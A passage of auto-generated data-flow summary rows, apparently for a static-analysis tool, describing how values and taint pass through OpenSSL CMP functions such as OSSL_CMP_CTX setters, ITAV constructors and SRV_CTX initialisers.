"Argument[*0].Field[***certConf_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_certConf_cb_arg", "(OSSL_CMP_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**certConf_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_certConf_cb_arg", "(OSSL_CMP_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*certConf_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_http_cb", "(OSSL_CMP_CTX *,OSSL_HTTP_bio_cb_t)", "", "Argument[1]", "Argument[*0].Field[*http_cb]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_http_cb_arg", "(OSSL_CMP_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***http_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_http_cb_arg", "(OSSL_CMP_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**http_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_http_cb_arg", "(OSSL_CMP_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*http_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_log_cb", "(OSSL_CMP_CTX *,OSSL_CMP_log_cb_t)", "", "Argument[1]", "Argument[*0].Field[*log_cb]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_option", "(OSSL_CMP_CTX *,int,int)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_serverPort", "(OSSL_CMP_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*serverPort]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_transfer_cb", "(OSSL_CMP_CTX *,OSSL_CMP_transfer_cb_t)", "", "Argument[1]", "Argument[*0].Field[*transfer_cb]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_transfer_cb_arg", "(OSSL_CMP_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***transfer_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_transfer_cb_arg", "(OSSL_CMP_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**transfer_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_transfer_cb_arg", "(OSSL_CMP_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*transfer_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_snprint_PKIStatus", "(const OSSL_CMP_CTX *,char *,size_t)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_snprint_PKIStatus", "(const OSSL_CMP_CTX *,char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_snprint_PKIStatus", "(const OSSL_CMP_CTX *,char *,size_t)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_snprint_PKIStatus", "(const OSSL_CMP_CTX *,char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ERRORMSGCONTENT_free", "(OSSL_CMP_ERRORMSGCONTENT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ERRORMSGCONTENT_free", "(OSSL_CMP_ERRORMSGCONTENT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_HDR_get0_geninfo_ITAVs", "(const OSSL_CMP_PKIHEADER *)", "", "Argument[*0].Field[**generalInfo]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_HDR_get0_geninfo_ITAVs", "(const OSSL_CMP_PKIHEADER *)", "", "Argument[*0].Field[*generalInfo]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_HDR_get0_recipNonce", "(const OSSL_CMP_PKIHEADER *)", "", "Argument[*0].Field[**recipNonce]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_HDR_get0_recipNonce", "(const OSSL_CMP_PKIHEADER *)", "", "Argument[*0].Field[*recipNonce]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_HDR_get0_transactionID", "(const OSSL_CMP_PKIHEADER *)", "", "Argument[*0].Field[**transactionID]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_HDR_get0_transactionID", "(const OSSL_CMP_PKIHEADER *)", "", "Argument[*0].Field[*transactionID]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_create", "(ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[*0]", "ReturnValue[*].Field[**infoType]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_create", "(ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[*1]", "ReturnValue[*].Field[*infoValue].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_create", "(ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[0]", "ReturnValue[*].Field[*infoType]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_create", "(ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[1]", "ReturnValue[*].Field[*infoValue].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_dup", "(const OSSL_CMP_ITAV *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_dup", "(const OSSL_CMP_ITAV *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_dup", "(const OSSL_CMP_ITAV *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_dup", "(const OSSL_CMP_ITAV *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_dup", "(const OSSL_CMP_ITAV *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_free", "(OSSL_CMP_ITAV *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_free", "(OSSL_CMP_ITAV *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_caCerts", "(const OSSL_CMP_ITAV *,stack_st_X509 **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_caCerts", "(const OSSL_CMP_ITAV *,stack_st_X509 **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_certProfile", "(const OSSL_CMP_ITAV *,stack_st_ASN1_UTF8STRING **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_certProfile", "(const OSSL_CMP_ITAV *,stack_st_ASN1_UTF8STRING **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_crlStatusList", "(const OSSL_CMP_ITAV *,stack_st_OSSL_CMP_CRLSTATUS **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_crlStatusList", "(const OSSL_CMP_ITAV *,stack_st_OSSL_CMP_CRLSTATUS **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_crls", "(const OSSL_CMP_ITAV *,stack_st_X509_CRL **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_crls", "(const OSSL_CMP_ITAV *,stack_st_X509_CRL **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_rootCaCert", "(const OSSL_CMP_ITAV *,X509 **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_rootCaCert", "(const OSSL_CMP_ITAV *,X509 **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_type", "(const OSSL_CMP_ITAV *)", "", "Argument[*0].Field[**infoType]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_type", "(const OSSL_CMP_ITAV *)", "", "Argument[*0].Field[*infoType]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_value", "(const OSSL_CMP_ITAV *)", "", "Argument[*0].Field[*infoValue].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_value", "(const OSSL_CMP_ITAV *)", "", "Argument[*0].Field[*infoValue].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get1_certReqTemplate", "(const OSSL_CMP_ITAV *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get1_certReqTemplate", "(const OSSL_CMP_ITAV *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get1_certReqTemplate", "(const OSSL_CMP_ITAV *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get1_certReqTemplate", "(const OSSL_CMP_ITAV *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get1_certReqTemplate", "(const OSSL_CMP_ITAV *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new0_certProfile", "(stack_st_ASN1_UTF8STRING *)", "", "Argument[*0]", "ReturnValue[*].Field[*infoValue].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new0_certProfile", "(stack_st_ASN1_UTF8STRING *)", "", "Argument[0]", "ReturnValue[*].Field[*infoValue].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new0_crlStatusList", "(stack_st_OSSL_CMP_CRLSTATUS *)", "", "Argument[*0]", "ReturnValue[*].Field[*infoValue].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new0_crlStatusList", "(stack_st_OSSL_CMP_CRLSTATUS *)", "", "Argument[0]", "ReturnValue[*].Field[*infoValue].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new_caCerts", "(const stack_st_X509 *)", "", "Argument[*0]", "ReturnValue[*].Field[*infoValue].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new_caCerts", "(const stack_st_X509 *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new_caCerts", "(const stack_st_X509 *)", "", "Argument[0]", "ReturnValue[*].Field[*infoValue].Union[**(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new_crls", "(const X509_CRL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new_rootCaCert", "(const X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new_rootCaKeyUpdate", "(const X509 *,const X509 *,const X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new_rootCaKeyUpdate", "(const X509 *,const X509 *,const X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new_rootCaKeyUpdate", "(const X509 *,const X509 *,const X509 *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_push0_stack_item", "(stack_st_OSSL_CMP_ITAV **,OSSL_CMP_ITAV *)", "", "Argument[*1]", "Argument[**0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_push0_stack_item", "(stack_st_OSSL_CMP_ITAV **,OSSL_CMP_ITAV *)", "", "Argument[*1]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_push0_stack_item", "(stack_st_OSSL_CMP_ITAV **,OSSL_CMP_ITAV *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_push0_stack_item", "(stack_st_OSSL_CMP_ITAV **,OSSL_CMP_ITAV *)", "", "Argument[1]", "Argument[**0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_push0_stack_item", "(stack_st_OSSL_CMP_ITAV **,OSSL_CMP_ITAV *)", "", "Argument[1]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_set0", "(OSSL_CMP_ITAV *,ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[*1]", "Argument[*0].Field[**infoType]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_set0", "(OSSL_CMP_ITAV *,ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[*2]", "Argument[*0].Field[*infoValue].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_set0", "(OSSL_CMP_ITAV *,ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[1]", "Argument[*0].Field[*infoType]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_set0", "(OSSL_CMP_ITAV *,ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[2]", "Argument[*0].Field[*infoValue].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_KEYRECREPCONTENT_free", "(OSSL_CMP_KEYRECREPCONTENT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_KEYRECREPCONTENT_free", "(OSSL_CMP_KEYRECREPCONTENT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_dup", "(const OSSL_CMP_MSG *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_dup", "(const OSSL_CMP_MSG *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_dup", "(const OSSL_CMP_MSG *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_dup", "(const OSSL_CMP_MSG *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_dup", "(const OSSL_CMP_MSG *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_free", "(OSSL_CMP_MSG *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_free", "(OSSL_CMP_MSG *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_get0_header", "(const OSSL_CMP_MSG *)", "", "Argument[*0].Field[**header]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_get0_header", "(const OSSL_CMP_MSG *)", "", "Argument[*0].Field[*header]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_get_bodytype", "(const OSSL_CMP_MSG *)", "", "Argument[*0].Field[**body].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_http_perform", "(OSSL_CMP_CTX *,const OSSL_CMP_MSG *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_read", "(const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue.Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_read", "(const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_read", "(const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue.Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_read", "(const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_read", "(const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue.Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_read", "(const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_read", "(const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue.Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_read", "(const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_update_recipNonce", "(OSSL_CMP_CTX *,OSSL_CMP_MSG *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_update_transactionID", "(OSSL_CMP_CTX *,OSSL_CMP_MSG *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_PKIBODY_free", "(OSSL_CMP_PKIBODY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_PKIBODY_free", "(OSSL_CMP_PKIBODY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_PKIHEADER_free", "(OSSL_CMP_PKIHEADER *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_PKIHEADER_free", "(OSSL_CMP_PKIHEADER *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_PKISI_dup", "(const OSSL_CMP_PKISI *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_PKISI_dup", "(const OSSL_CMP_PKISI *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_PKISI_dup", "(const OSSL_CMP_PKISI *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_PKISI_dup", "(const OSSL_CMP_PKISI *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_PKISI_dup", "(const OSSL_CMP_PKISI *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_PKISI_free", "(OSSL_CMP_PKISI *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_PKISI_free", "(OSSL_CMP_PKISI *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_POLLREP_free", "(OSSL_CMP_POLLREP *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_POLLREP_free", "(OSSL_CMP_POLLREP *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_POLLREQ_free", "(OSSL_CMP_POLLREQ *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_POLLREQ_free", "(OSSL_CMP_POLLREQ *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_PROTECTEDPART_free", "(OSSL_CMP_PROTECTEDPART *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_PROTECTEDPART_free", "(OSSL_CMP_PROTECTEDPART *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_REVANNCONTENT_free", "(OSSL_CMP_REVANNCONTENT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_REVANNCONTENT_free", "(OSSL_CMP_REVANNCONTENT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_REVDETAILS_free", "(OSSL_CMP_REVDETAILS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_REVDETAILS_free", "(OSSL_CMP_REVDETAILS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_REVREPCONTENT_free", "(OSSL_CMP_REVREPCONTENT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_REVREPCONTENT_free", "(OSSL_CMP_REVREPCONTENT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ROOTCAKEYUPDATE_free", "(OSSL_CMP_ROOTCAKEYUPDATE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ROOTCAKEYUPDATE_free", "(OSSL_CMP_ROOTCAKEYUPDATE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_get0_cmp_ctx", "(const OSSL_CMP_SRV_CTX *)", "", "Argument[*0].Field[**ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_get0_cmp_ctx", "(const OSSL_CMP_SRV_CTX *)", "", "Argument[*0].Field[*ctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_get0_custom_ctx", "(const OSSL_CMP_SRV_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_get0_custom_ctx", "(const OSSL_CMP_SRV_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_get0_custom_ctx", "(const OSSL_CMP_SRV_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init", "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)", "", "Argument[**1]", "Argument[*0].Field[***custom_ctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init", "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)", "", "Argument[*1]", "Argument[*0].Field[**custom_ctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init", "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)", "", "Argument[1]", "Argument[*0].Field[*custom_ctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init", "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)", "", "Argument[2]", "Argument[*0].Field[*process_cert_request]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init", "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)", "", "Argument[3]", "Argument[*0].Field[*process_rr]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init", "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)", "", "Argument[4]", "Argument[*0].Field[*process_genm]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init", "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)", "", "Argument[5]", "Argument[*0].Field[*process_error]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init", "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)", "", "Argument[6]", "Argument[*0].Field[*process_certConf]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init", "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)", "", "Argument[7]", "Argument[*0].Field[*process_pollReq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init_trans", "(OSSL_CMP_SRV_CTX *,OSSL_CMP_SRV_delayed_delivery_cb_t,OSSL_CMP_SRV_clean_transaction_cb_t)", "", "Argument[1]", "Argument[*0].Field[*delayed_delivery]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init_trans", "(OSSL_CMP_SRV_CTX *,OSSL_CMP_SRV_delayed_delivery_cb_t,OSSL_CMP_SRV_clean_transaction_cb_t)", "", "Argument[2]", "Argument[*0].Field[*clean_transaction]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, 